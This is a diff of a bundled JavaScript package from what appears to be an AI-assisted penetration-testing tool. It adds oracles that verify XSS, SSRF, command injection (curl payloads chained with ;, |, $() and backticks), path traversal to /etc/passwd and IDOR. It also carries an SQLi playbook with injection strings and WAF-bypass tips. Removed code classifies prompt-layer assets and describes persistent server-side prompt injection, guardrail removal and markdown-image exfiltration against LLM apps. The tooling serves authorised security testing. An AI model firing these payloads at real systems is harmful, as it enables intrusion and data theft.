reason: signals.length === 1 ? `only 1/3 sqli signals fired: ${signals[0]}` : "no sqli signals fired"
|
|
90
233
|
};
|
|
91
234
|
}
|
|
92
|
-
function
|
|
93
|
-
const
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
235
|
+
async function verifyReflectedXss(finding, target, context = {}) {
|
|
236
|
+
const timedFetch = (url2, init2, timeoutMs) => fetchWithTimeout(url2, init2, timeoutMs, context);
|
|
237
|
+
const parsed = parseRequest(finding.evidence?.request ?? "", target);
|
|
238
|
+
const victim = pickInjectableParam(parsed);
|
|
239
|
+
if (!victim)
|
|
240
|
+
return notVerifiable("no injectable parameter found in finding evidence");
|
|
241
|
+
const token = `osec_${randomUUID().replace(/-/g, "")}`;
|
|
242
|
+
const payload = `<script>alert('${token}')</script>`;
|
|
243
|
+
const { url, init } = buildProbeRequest(parsed, {
|
|
244
|
+
[victim.key]: payload
|
|
245
|
+
});
|
|
246
|
+
const probe = await timedFetch(url, init);
|
|
247
|
+
const htmlReflected = !!probe && probe.body.includes(payload) && !probe.body.includes(`<script>alert('${token}')</script>`);
|
|
248
|
+
let playwright = null;
|
|
249
|
+
try {
|
|
250
|
+
playwright = await import("playwright");
|
|
251
|
+
} catch {
|
|
252
|
+
}
|
|
253
|
+
if (playwright) {
|
|
254
|
+
let browser = null;
|
|
255
|
+
try {
|
|
256
|
+
browser = await playwright.chromium.launch({ headless: true });
|
|
257
|
+
const page = await browser.newPage();
|
|
258
|
+
let dialogMessage = "";
|
|
259
|
+
page.on("dialog", async (dialog) => {
|
|
260
|
+
if (dialog.type() === "alert" && dialog.message() === token) {
|
|
261
|
+
dialogMessage = token;
|
|
262
|
+
}
|
|
263
|
+
await dialog.dismiss().catch(() => {
|
|
264
|
+
});
|
|
265
|
+
});
|
|
266
|
+
let replayed = false;
|
|
267
|
+
await page.route(context.fetch ? "**/*" : (candidate) => candidate.href === new URL(url).href, async (route) => {
|
|
268
|
+
const request = route.request();
|
|
269
|
+
const initial = !replayed && request.isNavigationRequest() && request.frame() === page.mainFrame();
|
|
270
|
+
if (initial)
|
|
271
|
+
replayed = true;
|
|
272
|
+
const replayInit = {
|
|
273
|
+
method: initial ? init.method : request.method(),
|
|
274
|
+
headers: initial ? init.headers : request.headers(),
|
|
275
|
+
body: initial ? init.body : request.postData(),
|
|
276
|
+
redirect: "manual"
|
|
277
|
+
};
|
|
278
|
+
if (context.fetch) {
|
|
279
|
+
try {
|
|
280
|
+
const response = await context.fetch(request.url(), replayInit);
|
|
281
|
+
const headers = Object.fromEntries(response.headers);
|
|
282
|
+
delete headers["content-encoding"];
|
|
283
|
+
delete headers["content-length"];
|
|
284
|
+
await route.fulfill({ status: response.status, headers, body: Buffer.from(await response.arrayBuffer()) });
|
|
285
|
+
} catch {
|
|
286
|
+
await route.abort();
|
|
287
|
+
}
|
|
288
|
+
} else if (initial) {
|
|
289
|
+
await route.continue({
|
|
290
|
+
method: init.method,
|
|
291
|
+
headers: { ...request.headers(), ...Object.fromEntries(new Headers(init.headers)) },
|
|
292
|
+
...typeof init.body === "string" ? { postData: init.body } : {}
|
|
293
|
+
});
|
|
294
|
+
} else {
|
|
295
|
+
await route.continue();
|
|
296
|
+
}
|
|
297
|
+
});
|
|
298
|
+
await page.goto(url, { timeout: 8e3, waitUntil: "domcontentloaded" });
|
|
299
|
+
await page.waitForTimeout(500);
|
|
300
|
+
await browser.close();
|
|
301
|
+
browser = null;
|
|
302
|
+
if (dialogMessage === token) {
|
|
303
|
+
return verified(`playwright dialog captured token=${token} message="${dialogMessage}"`);
|
|
304
|
+
}
|
|
305
|
+
} catch (err) {
|
|
306
|
+
if (browser)
|
|
307
|
+
await browser.close().catch(() => {
|
|
308
|
+
});
|
|
309
|
+
return {
|
|
310
|
+
verified: false,
|
|
311
|
+
confidence: htmlReflected ? 0.4 : 0,
|
|
312
|
+
evidence: htmlReflected ? `html_reflection: payload reflected in body` : "",
|
|
313
|
+
inconclusive: true,
|
|
314
|
+
reason: `playwright navigation failed: ${err.message}`
|
|
315
|
+
};
|
|
316
|
+
}
|
|
317
|
+
}
|
|
318
|
+
if (htmlReflected) {
|
|
319
|
+
return {
|
|
320
|
+
verified: false,
|
|
321
|
+
confidence: 0.5,
|
|
322
|
+
evidence: `html_reflection: payload reflected unencoded in response body`,
|
|
323
|
+
reason: "payload reflected but no alert dialog captured (playwright unavailable or dialog didn't fire)"
|
|
324
|
+
};
|
|
325
|
+
}
|
|
326
|
+
return notVerifiable("no xss reflection or alert captured");
|
|
327
|
+
}
|
|
328
|
+
async function withCollector(nonce, timeoutMs, work) {
|
|
329
|
+
const port = 8888 + Math.floor(Math.random() * 1e3);
|
|
330
|
+
let hit = false;
|
|
331
|
+
const server = createServer((req, res) => {
|
|
332
|
+
if ((req.url ?? "").includes(nonce))
|
|
333
|
+
hit = true;
|
|
334
|
+
res.writeHead(200);
|
|
335
|
+
res.end("ok");
|
|
336
|
+
});
|
|
337
|
+
await new Promise((resolve) => server.listen(port, "127.0.0.1", resolve));
|
|
338
|
+
const collectorUrl = `http://127.0.0.1:${port}/${nonce}`;
|
|
339
|
+
const waitForHit = async () => {
|
|
340
|
+
const deadline = Date.now() + timeoutMs;
|
|
341
|
+
while (Date.now() < deadline) {
|
|
342
|
+
if (hit)
|
|
343
|
+
return true;
|
|
344
|
+
await new Promise((r) => setTimeout(r, 100));
|
|
345
|
+
}
|
|
346
|
+
return hit;
|
|
107
347
|
};
|
|
348
|
+
try {
|
|
349
|
+
return await work(collectorUrl, waitForHit);
|
|
350
|
+
} finally {
|
|
351
|
+
await new Promise((resolve) => server.close(() => resolve()));
|
|
352
|
+
}
|
|
108
353
|
}
|
|
109
|
-
function
|
|
110
|
-
const
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
354
|
+
async function verifySsrf(finding, target, context = {}) {
|
|
355
|
+
const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
|
|
356
|
+
const parsed = parseRequest(finding.evidence?.request ?? "", target);
|
|
357
|
+
const victim = pickInjectableParam(parsed);
|
|
358
|
+
if (!victim)
|
|
359
|
+
return notVerifiable("no injectable parameter found in finding evidence");
|
|
360
|
+
const nonce = `ssrf${randomUUID().replace(/-/g, "").slice(0, 16)}`;
|
|
361
|
+
return withCollector(nonce, 6e3, async (collectorUrl, waitForHit) => {
|
|
362
|
+
const { url, init } = buildProbeRequest(parsed, {
|
|
363
|
+
[victim.key]: collectorUrl
|
|
364
|
+
});
|
|
365
|
+
const probe = await timedFetch(url, init, 8e3);
|
|
366
|
+
if (!probe)
|
|
367
|
+
return notVerifiable("ssrf probe failed to send");
|
|
368
|
+
const hit = await waitForHit();
|
|
369
|
+
if (hit) {
|
|
370
|
+
return verified(`collector hit: nonce=${nonce} path=/${nonce}`);
|
|
371
|
+
}
|
|
372
|
+
return {
|
|
373
|
+
verified: false,
|
|
374
|
+
confidence: 0,
|
|
375
|
+
evidence: "",
|
|
376
|
+
reason: `collector never received a request for nonce=${nonce}`
|
|
377
|
+
};
|
|
378
|
+
});
|
|
114
379
|
}
|
|
115
|
-
function
|
|
116
|
-
const
|
|
117
|
-
const
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
|
|
121
|
-
|
|
122
|
-
|
|
123
|
-
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
|
|
127
|
-
|
|
380
|
+
async function verifyRce(finding, target, context = {}) {
|
|
381
|
+
const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
|
|
382
|
+
const parsed = parseRequest(finding.evidence?.request ?? "", target);
|
|
383
|
+
const victim = pickInjectableParam(parsed);
|
|
384
|
+
if (!victim)
|
|
385
|
+
return notVerifiable("no injectable parameter found in finding evidence");
|
|
386
|
+
const nonce = `rce${randomUUID().replace(/-/g, "").slice(0, 16)}`;
|
|
387
|
+
return withCollector(nonce, 8e3, async (collectorUrl, waitForHit) => {
|
|
388
|
+
const payloads = [
|
|
389
|
+
`${victim.value};curl ${collectorUrl}`,
|
|
390
|
+
`${victim.value}|curl ${collectorUrl}`,
|
|
391
|
+
`${victim.value}$(curl ${collectorUrl})`,
|
|
392
|
+
`${victim.value}\`curl ${collectorUrl}\``,
|
|
393
|
+
`${victim.value}&&curl ${collectorUrl}`
|
|
394
|
+
];
|
|
395
|
+
for (const payload of payloads) {
|
|
396
|
+
const { url, init } = buildProbeRequest(parsed, {
|
|
397
|
+
[victim.key]: payload
|
|
398
|
+
});
|
|
399
|
+
await timedFetch(url, init, 8e3);
|
|
400
|
+
}
|
|
401
|
+
const hit = await waitForHit();
|
|
402
|
+
if (hit)
|
|
403
|
+
return verified(`collector hit: nonce=${nonce}`);
|
|
404
|
+
return {
|
|
405
|
+
verified: false,
|
|
406
|
+
confidence: 0,
|
|
407
|
+
evidence: "",
|
|
408
|
+
reason: `collector never received a request for nonce=${nonce}`
|
|
409
|
+
};
|
|
410
|
+
});
|
|
411
|
+
}
|
|
412
|
+
var PASSWD_PATTERN = /root:x:0:0:|\/bin\/(bash|sh|dash)/;
|
|
413
|
+
async function verifyPathTraversal(finding, target, context = {}) {
|
|
414
|
+
const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
|
|
415
|
+
const parsed = parseRequest(finding.evidence?.request ?? "", target);
|
|
416
|
+
const victim = pickInjectableParam(parsed);
|
|
417
|
+
if (!victim)
|
|
418
|
+
return notVerifiable("no injectable parameter found in finding evidence");
|
|
419
|
+
const payloads = [
|
|
420
|
+
"../../../../etc/passwd",
|
|
421
|
+
"..%2f..%2f..%2f..%2fetc%2fpasswd",
|
|
422
|
+
"..%252f..%252f..%252fetc%252fpasswd",
|
|
423
|
+
"../../../../etc/passwd%00",
|
|
424
|
+
"....//....//....//etc/passwd",
|
|
425
|
+
"/etc/passwd"
|
|
426
|
+
];
|
|
427
|
+
for (const payload of payloads) {
|
|
428
|
+
const { url, init } = buildProbeRequest(parsed, {
|
|
429
|
+
[victim.key]: payload
|
|
430
|
+
});
|
|
431
|
+
const probe = await timedFetch(url, init);
|
|
432
|
+
if (!probe)
|
|
433
|
+
continue;
|
|
434
|
+
const m = probe.body.match(PASSWD_PATTERN);
|
|
435
|
+
if (m) {
|
|
436
|
+
return verified(`payload=${payload} response contained "${m[0]}"`);
|
|
437
|
+
}
|
|
438
|
+
}
|
|
439
|
+
return notVerifiable("no /etc/passwd signature in any traversal probe response");
|
|
440
|
+
}
|
|
441
|
+
async function verifyIdor(finding, target, context = {}) {
|
|
442
|
+
const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
|
|
443
|
+
const boundary = await context.verifyAccessControl?.(finding, target);
|
|
444
|
+
if (boundary)
|
|
445
|
+
return boundary;
|
|
446
|
+
const parsed = parseRequest(finding.evidence?.request ?? "", target);
|
|
447
|
+
if (parsed.method !== "GET")
|
|
448
|
+
return notVerifiable("read-only IDOR oracle requires GET; use an explicitly opted-in state-observing workflow for mutations");
|
|
449
|
+
let idKey = null;
|
|
450
|
+
let idValue = 0;
|
|
451
|
+
for (const [k, v] of Object.entries(parsed.params)) {
|
|
452
|
+
if (/^(id|uid|user_id|account_id|order_id|pid)$/i.test(k) && /^\d+$/.test(v)) {
|
|
453
|
+
idKey = k;
|
|
454
|
+
idValue = parseInt(v, 10);
|
|
455
|
+
break;
|
|
456
|
+
}
|
|
457
|
+
}
|
|
458
|
+
if (!idKey) {
|
|
459
|
+
for (const [k, v] of Object.entries(parsed.params)) {
|
|
460
|
+
if (/^\d+$/.test(v)) {
|
|
461
|
+
idKey = k;
|
|
462
|
+
idValue = parseInt(v, 10);
|
|
463
|
+
break;
|
|
464
|
+
}
|
|
465
|
+
}
|
|
466
|
+
}
|
|
467
|
+
if (!idKey)
|
|
468
|
+
return notVerifiable("no numeric id-like parameter to mutate");
|
|
469
|
+
const baseline = await timedFetch(...Object.values(buildProbeRequest(parsed, { [idKey]: String(idValue) })));
|
|
470
|
+
if (!baseline)
|
|
471
|
+
return notVerifiable("baseline request failed");
|
|
472
|
+
const variants = [String(idValue + 1), String(Math.max(0, idValue - 1)), "0"];
|
|
473
|
+
const hits = [];
|
|
474
|
+
for (const variant of variants) {
|
|
475
|
+
if (variant === String(idValue))
|
|
476
|
+
continue;
|
|
477
|
+
const probe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [idKey]: variant })));
|
|
478
|
+
if (!probe)
|
|
479
|
+
continue;
|
|
480
|
+
if (probe.status === 200 && probe.body.length > 0 && probe.body !== baseline.body) {
|
|
481
|
+
hits.push(`${idKey}=${variant} status=200 body_delta=${Math.abs(probe.body.length - baseline.body.length)}`);
|
|
482
|
+
}
|
|
483
|
+
}
|
|
484
|
+
if (hits.length > 0) {
|
|
485
|
+
return {
|
|
486
|
+
verified: false,
|
|
487
|
+
confidence: 0.7,
|
|
488
|
+
inconclusive: true,
|
|
489
|
+
evidence: `distinct responses on id mutation: ${hits.join(", ")}`,
|
|
490
|
+
reason: "distinct ID responses are a candidate only; identity and resource ownership were not established"
|
|
491
|
+
};
|
|
492
|
+
}
|
|
493
|
+
return notVerifiable("no distinct 200 response on id mutation");
|
|
494
|
+
}
|
|
495
|
+
async function verifyOracleByCategory(finding, target, context = {}) {
|
|
496
|
+
const category = finding.category;
|
|
497
|
+
switch (category) {
|
|
498
|
+
case "sql-injection":
|
|
499
|
+
return verifySqli(finding, target, context);
|
|
500
|
+
case "xss":
|
|
501
|
+
return verifyReflectedXss(finding, target, context);
|
|
502
|
+
case "ssrf":
|
|
503
|
+
return verifySsrf(finding, target, context);
|
|
504
|
+
case "command-injection":
|
|
505
|
+
case "code-injection":
|
|
506
|
+
return verifyRce(finding, target, context);
|
|
507
|
+
case "path-traversal":
|
|
508
|
+
return verifyPathTraversal(finding, target, context);
|
|
509
|
+
// Heuristic: "information-disclosure" findings referencing an id param
|
|
510
|
+
// look a lot like IDOR. We route them through the IDOR oracle as well.
|
|
511
|
+
case "information-disclosure":
|
|
512
|
+
return verifyIdor(finding, target, context);
|
|
513
|
+
default:
|
|
514
|
+
return {
|
|
515
|
+
verified: false,
|
|
516
|
+
confidence: 0,
|
|
517
|
+
evidence: "",
|
|
518
|
+
reason: `no oracle for category="${category}"`
|
|
519
|
+
};
|
|
520
|
+
}
|
|
128
521
|
}
|
|
129
522
|
|
|
130
|
-
// packages/core/dist/
|
|
131
|
-
var
|
|
132
|
-
|
|
133
|
-
-
|
|
134
|
-
-
|
|
135
|
-
-
|
|
136
|
-
-
|
|
137
|
-
-
|
|
138
|
-
-
|
|
139
|
-
-
|
|
140
|
-
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
|
|
523
|
+
// packages/core/dist/review/sanitizer-log.js
|
|
524
|
+
var ASAN_CATEGORY_BY_KIND = {
|
|
525
|
+
"heap-use-after-free": "use-after-free",
|
|
526
|
+
"stack-use-after-return": "use-after-free",
|
|
527
|
+
"stack-use-after-scope": "use-after-free",
|
|
528
|
+
"double-free": "double-free",
|
|
529
|
+
"attempting-double-free": "double-free",
|
|
530
|
+
"stack-buffer-overflow": "stack-buffer-overflow",
|
|
531
|
+
"heap-buffer-overflow": "heap-overflow",
|
|
532
|
+
"global-buffer-overflow": "heap-overflow"
|
|
533
|
+
};
|
|
534
|
+
function categoryForAsan(kind, primitive) {
|
|
535
|
+
if ((kind === "heap-buffer-overflow" || kind === "global-buffer-overflow") && primitive === "read") {
|
|
536
|
+
return "out-of-bounds-read";
|
|
537
|
+
}
|
|
538
|
+
if ((kind === "heap-buffer-overflow" || kind === "global-buffer-overflow") && primitive === "write") {
|
|
539
|
+
return "out-of-bounds-write";
|
|
540
|
+
}
|
|
541
|
+
return ASAN_CATEGORY_BY_KIND[kind] ?? "other";
|
|
542
|
+
}
|
|
543
|
+
function categoryForUbsan(message) {
|
|
544
|
+
const lower = message.toLowerCase();
|
|
545
|
+
if (lower.includes("signed integer overflow") || lower.includes("unsigned integer overflow")) {
|
|
546
|
+
return { kind: "signed-integer-overflow", category: "integer-overflow" };
|
|
547
|
+
}
|
|
548
|
+
if (lower.includes("shift exponent") || lower.includes("shift base")) {
|
|
549
|
+
return { kind: "shift-exponent", category: "integer-overflow" };
|
|
550
|
+
}
|
|
551
|
+
if (lower.includes("float-cast-overflow") || lower.includes("outside the range of representable values")) {
|
|
552
|
+
return { kind: "float-cast-overflow", category: "integer-truncation" };
|
|
553
|
+
}
|
|
554
|
+
if (lower.includes("null pointer") || lower.includes("null-pointer")) {
|
|
555
|
+
return { kind: "null-pointer-use", category: "null-deref" };
|
|
556
|
+
}
|
|
557
|
+
return { kind: "undefined-behavior", category: "other" };
|
|
558
|
+
}
|
|
559
|
+
function parsePrimitive(text) {
|
|
560
|
+
const access = text.match(/\b(READ|WRITE) of size (\d+)/i);
|
|
561
|
+
if (!access)
|
|
562
|
+
return { primitive: "unknown" };
|
|
563
|
+
return {
|
|
564
|
+
primitive: access[1].toLowerCase(),
|
|
565
|
+
accessSize: Number(access[2])
|
|
566
|
+
};
|
|
567
|
+
}
|
|
568
|
+
function parseFrames(text) {
|
|
569
|
+
const frames = [];
|
|
570
|
+
const frameRegex = /^\s*#\d+\s+0x[0-9a-fA-F]+\s+in\s+(?:(\S+)\s+)?(.+?):(\d+)(?::\d+)?(?:\s|$)/gm;
|
|
571
|
+
let match;
|
|
572
|
+
while ((match = frameRegex.exec(text)) !== null) {
|
|
573
|
+
frames.push({
|
|
574
|
+
functionName: match[1],
|
|
575
|
+
file: match[2],
|
|
576
|
+
line: Number(match[3])
|
|
577
|
+
});
|
|
578
|
+
}
|
|
579
|
+
return frames;
|
|
580
|
+
}
|
|
581
|
+
function parseAsan(text) {
|
|
582
|
+
const header = text.match(/ERROR:\s*AddressSanitizer:\s*([a-z0-9-]+)/i);
|
|
583
|
+
if (!header?.[1])
|
|
584
|
+
return null;
|
|
585
|
+
const kind = header[1].toLowerCase();
|
|
586
|
+
const { primitive, accessSize } = parsePrimitive(text);
|
|
587
|
+
const frames = parseFrames(text);
|
|
588
|
+
let sourceFile = frames[0]?.file;
|
|
589
|
+
let sourceLine = frames[0]?.line;
|
|
590
|
+
const summary = text.match(/SUMMARY:\s*AddressSanitizer:\s*[a-z0-9-]+\s+(.+?):(\d+)(?::\d+)?/i);
|
|
591
|
+
if ((!sourceFile || !sourceLine) && summary?.[1] && summary?.[2]) {
|
|
592
|
+
sourceFile = summary[1];
|
|
593
|
+
sourceLine = Number(summary[2]);
|
|
594
|
+
}
|
|
595
|
+
const allocMatch = text.match(/\b(\d+)-byte region\b/i);
|
|
596
|
+
const allocSize = allocMatch?.[1] ? Number(allocMatch[1]) : void 0;
|
|
597
|
+
return {
|
|
598
|
+
sanitizer: "asan",
|
|
599
|
+
kind,
|
|
600
|
+
category: categoryForAsan(kind, primitive),
|
|
601
|
+
primitive,
|
|
602
|
+
sourceFile,
|
|
603
|
+
sourceLine,
|
|
604
|
+
allocSize,
|
|
605
|
+
accessSize,
|
|
606
|
+
summary: text.split("\n").find((line) => line.includes("ERROR: AddressSanitizer"))?.trim() ?? kind,
|
|
607
|
+
frames
|
|
608
|
+
};
|
|
609
|
+
}
|
|
610
|
+
function parseUbsan(text) {
|
|
611
|
+
const runtime = text.match(/^(.+?):(\d+):(?:(\d+):)?\s*runtime error:\s*(.+)$/m);
|
|
612
|
+
if (!runtime?.[1] || !runtime?.[2] || !runtime?.[4])
|
|
613
|
+
return null;
|
|
614
|
+
const details = runtime[4].trim();
|
|
615
|
+
const { kind, category } = categoryForUbsan(details);
|
|
616
|
+
return {
|
|
617
|
+
sanitizer: "ubsan",
|
|
618
|
+
kind,
|
|
619
|
+
category,
|
|
620
|
+
primitive: "unknown",
|
|
621
|
+
sourceFile: runtime[1],
|
|
622
|
+
sourceLine: Number(runtime[2]),
|
|
623
|
+
summary: details,
|
|
624
|
+
frames: []
|
|
625
|
+
};
|
|
626
|
+
}
|
|
627
|
+
function parseSanitizerLog(text) {
|
|
628
|
+
const trimmed = text.trim();
|
|
629
|
+
if (!trimmed)
|
|
630
|
+
return null;
|
|
631
|
+
return parseAsan(trimmed) ?? parseUbsan(trimmed);
|
|
632
|
+
}
|
|
633
|
+
function renderSanitizerVerdict(verdict) {
|
|
634
|
+
const loc = verdict.sourceFile ? `${verdict.sourceFile}${verdict.sourceLine ? `:${verdict.sourceLine}` : ""}` : "unknown location";
|
|
635
|
+
const sizes = [
|
|
636
|
+
verdict.accessSize !== void 0 ? `access=${verdict.accessSize}` : null,
|
|
637
|
+
verdict.allocSize !== void 0 ? `allocation=${verdict.allocSize}` : null
|
|
638
|
+
].filter(Boolean).join(", ");
|
|
639
|
+
return [
|
|
640
|
+
`${verdict.sanitizer.toUpperCase()} ${verdict.kind}`,
|
|
641
|
+
`category=${verdict.category}`,
|
|
642
|
+
`primitive=${verdict.primitive}`,
|
|
643
|
+
`source=${loc}`,
|
|
644
|
+
sizes || null
|
|
645
|
+
].filter(Boolean).join("; ");
|
|
646
|
+
}
|
|
647
|
+
|
|
648
|
+
// packages/core/dist/agent/playbooks.js
|
|
649
|
+
var PLAYBOOKS = {
|
|
650
|
+
sqli: `## SQLi Playbook
|
|
651
|
+
- Test all input fields with: ' OR 1=1--, " OR ""=", 1; DROP TABLE--
|
|
652
|
+
- Check for error-based: ' AND 1=CONVERT(int,@@version)--
|
|
653
|
+
- For blind: write Python timing script (see script templates)
|
|
654
|
+
- Enumerate: information_schema.tables, columns, then extract the minimum non-sensitive proof of unauthorized data access
|
|
655
|
+
- Try UNION SELECT with increasing column count
|
|
656
|
+
- Try different SQL dialects: MySQL (SLEEP), PostgreSQL (pg_sleep), SQLite (sqlite_version())
|
|
657
|
+
- If WAF blocks quotes, try: 1 OR 1=1, numeric injection without quotes`,
|
|
658
|
+
structural_sqli: `## Structural / JSON-Key SQLi Playbook (#774)
|
|
659
|
+
The injectable surface is a JSON KEY / field name concatenated into SQL (ORDER BY \${key}, SELECT \${key}, dynamic WHERE \${key}=?) \u2014 NOT a parameterised value. Value-fuzzing scanners miss this; the key is what's injected.
|
|
660
|
+
- Target keys that name columns: sort, sort_by, sortField, order, order_by, orderBy, column, field, group_by, columns[], filter[<key>].
|
|
661
|
+
- Tell in errors: "Unknown column '...'", 'column "..." does not exist', "Invalid column name", "no such column" \u2014 the server used your KEY as an identifier.
|
|
144
662
|
- Run the blind error-iteration loop (load the structural-sqli skill for the full algorithm):
|
|
145
663
|
1. Break: inject key with a trailing quote (name') \u2014 unbalances the statement, elicits a DB error that confirms the key reaches the parser.
|
|
146
664
|
2. Fingerprint the dialect from the error (MySQL "error in your SQL syntax" / Postgres "unterminated quoted string" / MSSQL "Unclosed quotation mark" / Oracle ORA-NNNNN / SQLite "unrecognized token").
|
|
@@ -1376,593 +1894,150 @@ var INDICATORS = [
|
|
|
1376
1894
|
/\brefcount\b/i,
|
|
1377
1895
|
/\bgc[\s_-]?root\b/i,
|
|
1378
1896
|
/gc\.collect\(/i,
|
|
1379
|
-
/garbage collector/i,
|
|
1380
|
-
/\.rs\b/,
|
|
1381
|
-
/\bcargo\b/i,
|
|
1382
|
-
/\bsegfault\b/i,
|
|
1383
|
-
/sandbox escape/i
|
|
1384
|
-
]
|
|
1385
|
-
}
|
|
1386
|
-
];
|
|
1387
|
-
function detectPlaybooks(toolResultTexts) {
|
|
1388
|
-
const combined = toolResultTexts.join("\n");
|
|
1389
|
-
const scores = /* @__PURE__ */ new Map();
|
|
1390
|
-
for (const indicator of INDICATORS) {
|
|
1391
|
-
let matchCount = 0;
|
|
1392
|
-
for (const pattern of indicator.patterns) {
|
|
1393
|
-
if (pattern.test(combined)) {
|
|
1394
|
-
matchCount++;
|
|
1395
|
-
}
|
|
1396
|
-
}
|
|
1397
|
-
if (matchCount >= 2) {
|
|
1398
|
-
scores.set(indicator.type, matchCount);
|
|
1399
|
-
}
|
|
1400
|
-
}
|
|
1401
|
-
return [...scores.entries()].sort((a, b) => b[1] - a[1]).slice(0, 3).map(([type]) => type);
|
|
1402
|
-
}
|
|
1403
|
-
function buildPlaybookInjection(types) {
|
|
1404
|
-
const sections = types.map((t) => PLAYBOOKS[t]).filter(Boolean);
|
|
1405
|
-
if (sections.length === 0)
|
|
1406
|
-
return "";
|
|
1407
|
-
return [
|
|
1408
|
-
"## Dynamic Playbook Injection",
|
|
1409
|
-
"",
|
|
1410
|
-
"Based on reconnaissance so far, these vulnerability-specific methodologies apply.",
|
|
1411
|
-
"Follow the steps below \u2014 they are tuned for the patterns detected in this target.",
|
|
1412
|
-
"",
|
|
1413
|
-
...sections
|
|
1414
|
-
].join("\n");
|
|
1415
|
-
}
|
|
1416
|
-
var PROMPT_LAYER_IMPACT_RULES = [
|
|
1417
|
-
{
|
|
1418
|
-
impact: "guardrail_removal",
|
|
1419
|
-
patterns: [
|
|
1420
|
-
/\bguardrail/i,
|
|
1421
|
-
/safety[_\s-]?settings?/i,
|
|
1422
|
-
/\bmoderation\b/i,
|
|
1423
|
-
/\bpolicy\b/i,
|
|
1424
|
-
/\brefus/i,
|
|
1425
|
-
/\bnever (?:reveal|disclose|share|answer)/i,
|
|
1426
|
-
/you must (?:refuse|not)/i,
|
|
1427
|
-
/content[_\s-]?filter/i
|
|
1428
|
-
]
|
|
1429
|
-
},
|
|
1430
|
-
{
|
|
1431
|
-
impact: "output_channel_exfil",
|
|
1432
|
-
patterns: [
|
|
1433
|
-
/output[_\s-]?(?:channel|template|format)/i,
|
|
1434
|
-
/webhook/i,
|
|
1435
|
-
/\bcallback\b/i,
|
|
1436
|
-
/markdown/i,
|
|
1437
|
-
/!\[[^\]]*\]\(https?:\/\//,
|
|
1438
|
-
/append .*(?:url|link|http)/i
|
|
1439
|
-
]
|
|
1440
|
-
},
|
|
1441
|
-
{
|
|
1442
|
-
impact: "model_config_tamper",
|
|
1443
|
-
patterns: [
|
|
1444
|
-
/model[_\s-]?(?:config|name|id)/i,
|
|
1445
|
-
/\btemperature\b/i,
|
|
1446
|
-
/\btop[_\s-]?p\b/i,
|
|
1447
|
-
/\bmax[_\s-]?tokens\b/i,
|
|
1448
|
-
/tool[_\s-]?(?:config|choice|s)\b/i,
|
|
1449
|
-
/function[_\s-]?(?:config|call)/i,
|
|
1450
|
-
/assistant[_\s-]?config/i,
|
|
1451
|
-
/agent[_\s-]?config/i
|
|
1452
|
-
]
|
|
1453
|
-
},
|
|
1454
|
-
{
|
|
1455
|
-
impact: "prompt_poisoning",
|
|
1456
|
-
patterns: [
|
|
1457
|
-
/system[_\s-]?prompt/i,
|
|
1458
|
-
/prompt[_\s-]?template/i,
|
|
1459
|
-
/\bprompts?\b/i,
|
|
1460
|
-
/\binstructions?\b/i,
|
|
1461
|
-
/\bpersona\b/i,
|
|
1462
|
-
/you are (?:a|an|now|the)/i
|
|
1463
|
-
]
|
|
1464
|
-
}
|
|
1465
|
-
];
|
|
1466
|
-
function looksLikePromptLayer(haystack) {
|
|
1467
|
-
return PROMPT_LAYER_IMPACT_RULES.some((rule) => rule.patterns.some((p) => p.test(haystack)));
|
|
1468
|
-
}
|
|
1469
|
-
function classifyPromptLayerImpact(asset) {
|
|
1470
|
-
const haystack = [asset.table, asset.column, asset.sample].filter(Boolean).join(" ");
|
|
1471
|
-
const isPromptLayer = looksLikePromptLayer(haystack);
|
|
1472
|
-
if (!isPromptLayer) {
|
|
1473
|
-
return {
|
|
1474
|
-
isPromptLayer: false,
|
|
1475
|
-
impacts: [],
|
|
1476
|
-
severity: "info",
|
|
1477
|
-
narrative: "No prompt-layer signal: the asset does not look like a system prompt, guardrail, model config, or output-channel store. Not a prompt-layer write target."
|
|
1478
|
-
};
|
|
1479
|
-
}
|
|
1480
|
-
const impacts = [];
|
|
1481
|
-
for (const rule of PROMPT_LAYER_IMPACT_RULES) {
|
|
1482
|
-
if (rule.patterns.some((p) => p.test(haystack))) {
|
|
1483
|
-
impacts.push(rule.impact);
|
|
1484
|
-
}
|
|
1485
|
-
}
|
|
1486
|
-
if (!asset.writable) {
|
|
1487
|
-
return {
|
|
1488
|
-
isPromptLayer: true,
|
|
1489
|
-
impacts: [],
|
|
1490
|
-
severity: "low",
|
|
1491
|
-
narrative: `Prompt-layer asset detected (${describeAsset(asset)}) but no write path was confirmed from this foothold. Read exposure only \u2014 flag for review; re-check write privileges (SHOW GRANTS / admin edit endpoint) before claiming impact.`
|
|
1492
|
-
};
|
|
1493
|
-
}
|
|
1494
|
-
const reRead = asset.reReadAtInference === true;
|
|
1495
|
-
const severity = reRead ? "high" : "low";
|
|
1496
|
-
const impactLabels = impacts.map((i) => IMPACT_NARRATIVE[i]);
|
|
1497
|
-
const narrative = [
|
|
1498
|
-
`WRITABLE prompt-layer asset (${describeAsset(asset)}).`,
|
|
1499
|
-
reRead ? "The app re-reads this row at inference, so a write persists as a server-side prompt injection affecting EVERY future response for all users until reverted \u2014 invisible to end users and surviving restarts." : "Re-read-at-inference was NOT confirmed; impact may be limited if the prompt is cached or baked into code/env. Confirm the worker queries this row per request before escalating.",
|
|
1500
|
-
`Impact class(es): ${impacts.join(", ")}.`,
|
|
1501
|
-
...impactLabels.map((l) => `- ${l}`),
|
|
1502
|
-
"Verification-only: NO destructive write was performed; write capability is asserted from privilege/endpoint evidence."
|
|
1503
|
-
].join("\n");
|
|
1504
|
-
return { isPromptLayer: true, impacts, severity, narrative };
|
|
1505
|
-
}
|
|
1506
|
-
var IMPACT_NARRATIVE = {
|
|
1507
|
-
